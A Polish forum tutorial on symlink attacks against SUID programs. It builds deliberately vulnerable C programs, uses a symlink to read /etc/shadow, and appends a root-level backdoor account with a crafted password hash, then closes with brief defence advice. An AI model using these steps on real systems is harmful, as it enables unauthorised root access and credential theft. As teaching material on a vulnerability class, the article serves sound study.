Metoda ataku symlink race
Dodane przez Robercik101 dnia 09/08/2013 20:36
Ten artykuł opisuje metodę ataku Symlink Race jego praktyczne wykorzystanie na programach notka.c i notka_save.c, i metodę obrony ;)
Na czym polega błąd typu symlink race?
Program z takim błędem, podąża za dowiązaniami symbolicznymi, jeśli jest to program uprzywilejowany (np ma ustawiony bit SUID lub jest daemonem), to dzięki temu błędowi możemy odczytać pliki, które do nas nie należą
,bądź nawet zapisywać do nich dane

Mamy dwa programy notka
=== CUT THERE ===
#include
int main() {
unsigned char buffer[65536];
memset(buffer,0,sizeof(buffer));
char *user_home = getenv("HOME");
char notka_file[65536];
sprintf(notka_file,"%s/notka.txt",user_home);
int fd = open (notka_file, O_RDONLY);
while(1){
read(fd, buffer, sizeof(buffer));
puts(buffer);
printf("\n");
memset(buffer,0,sizeof(buffer));
sleep(60);
}
return 0;
}
=== CUT THERE ===
I notka_save
=== CUT THERE ===
#include
#include
#include
int main(int argc, char *argv[]) {
argc--;
if(argc<1){
exit(-1);
}
char buffer[strlen(argv[1])];
bzero(buffer,sizeof(buffer));
strcpy(buffer,argv[1]);
char *user_home = getenv("HOME");
char notka_file[65536];
sprintf(notka_file,"%s/notka.txt",user_home);
int fd = open (notka_file, O_WRONLY|O_APPEND|O_CREAT);
if(fd == -1){
perror("open");
}
write(fd,buffer,sizeof(buffer));
write(fd,"\n",1);
close(fd);
return 0;
}
=== CUT THERE ===
Pierwszy z nich wczytuje zawartość pliku notka.txt w kataologu domowym i co 60 sekund ją wyświetla, drugi zapisuje dane do tego pliku, i nadajmy im bit suid
Skompilujmy je:
root@localhost:~/SYMLINK# gcc -o notka notka.c
root@localhost:~/SYMLINK# gcc -o notka_save notka_save.c
root@localhost:~/SYMLINK# cp notka /bin/
root@localhost:~/SYMLINK# cp notka_save /bin/
root@localhost:~/SYMLINK# chown root:root /bin/notka
root@localhost:~/SYMLINK# chown root:root /bin/notka_save
root@localhost:~/SYMLINK# chmod +s /bin/notka
root@localhost:~/SYMLINK# chmod +s /bin/notka_save
root@localhost:~/SYMLINK# echo "Hello World">../notka.txt
root@localhost:~/SYMLINK# notka
Hello World!
root@localhost:~/SYMLINK# /notka_save TEST
root@localhost:~/SYMLINK# cat ../notka.txt
Hello World
TEST
Jak widzimy program działa prawidłowo, co jednak będzie, gdy już jako zwykły użytkownik stowrzymy dowiązanie symboliczne do pliku /etc/shadow, i nazwiemy go notka.txt?
user@localhost:~/$ ln -s /etc/shadow notka.txt
user@localhost:~/$ notka
...
debian-tor:*:15873:0:99999:7:::
postgres:!:15873:0:99999:7:::
privoxy:*:15873:0:99999:7:::
postfix:*:15873:0:99999:7:::
proftpd:!:15873:0:99999:7:::
ftp:*:15873:0:99999:7:::
sshd:*:15873:0:99999:7:::
teamspeak-server:!:15873:0:99999:7:::
ircuser:!:15942:0:99999:7:::
bind:*:15945:0:99999:7:::
....
user@localhost:~/$ rm notka.txt
Udało nam się, dzięki dziurawemu programowi odczytać plik /etc/shadow, program zoabaczył że istnieje plik notka.txt, i gdy próbował go odczytać, "został przekierowany", na /etc/shadow, a że ten program ma wystarczające uprawnienia, zatem mogliśmy odczytać ten plik!
Teraz w analogiczny sposób spróbujemy coś zapisać do pliku:
user@localhost:~/$ ln -s /etc/shadow notka.txt
user@localhost:~/$ notka_save 'hax00r:$6$opjQ6ifY$h12InRv1FK0Q6ijbeRWbEh6xXqiiS8tt2ycOBprGrhpJwenukgizUKzBECewJ5nZwLADE5YxsKSXQ9/sbHAEA.:0:0::/home:/bin/bash'
Właśnie dodaliśmy nowego użytkownika, o nazwie hax00r, haśle mojehaslo (patrz Uwaga), UID i GID 0 - czyli po zalogowaniu otrzymuejmy uprawnienia roota, ścieżce domowej /home i shellu /bin/bash
UWAGA
Niekiedy dodanie linijki typu hax00r:x:0:0::/home:/bin/bash nie wystarcza, u mnie (Ubuntu 12.04), przy wykonywaniu su na usera pojawia się prośba o hasło, jeśli nie wpiszę nic, tylko nacisnę enter pojawia się błąd
W takim wypadku dobrze byłoby uzupełnić 2gie pole, które ja oznaczyłem x, a w którego miejscu ma być hasło ;)
W Linuxie, do "tworzenia" haseł używa się funkcji crypt przyjmuje ona następujące parametry:
crypt(haslo,sól), gdzie hasło to nasze hasło, a sól to losowy ciąg, służcy do utrudnienia włamywaczowi złamania hasła, więcej informacji uzyskasz wpisując w terminalu na Linuxie man crypt, albo man 3 crypt
Nie będę się tu teraz rozpisywał na ten temat, może kiedy indziej, powiem tylko że można wykorzystać ten program

== CUT THERE ==
#include
#include
#include

int main(){
printf("%s\n",crypt("mojehaslo","$6$opjQ6ifY"));
}
== CUT THERE ==
mojehaslo, zastąp hasłem, które chcesz "zakodować", następnie skompiluj ten program z opcją -lcrypt i uruchom
user@localhost:~/$ gcc -o pass pass.c -lcrypt
user@localhost:~/$ ./pass
$6$opjQ6ifY$h12InRv1FK0Q6ijbeRWbEh6xXqiiS8tt2ycOBprGrhpJwenukgizUKzBECewJ5nZwLADE5YxsKSXQ9/sbHAEA.
user@localhost:~/$

Metoda obrony
Ze strony admina:
Zastanów się, które programy tak na prawdę potrzebują suida, im więcej takich programów, tym więcej możliwości ataku
Ze strony programisty:
Podczas otwierania stosuj flagę O_EXCL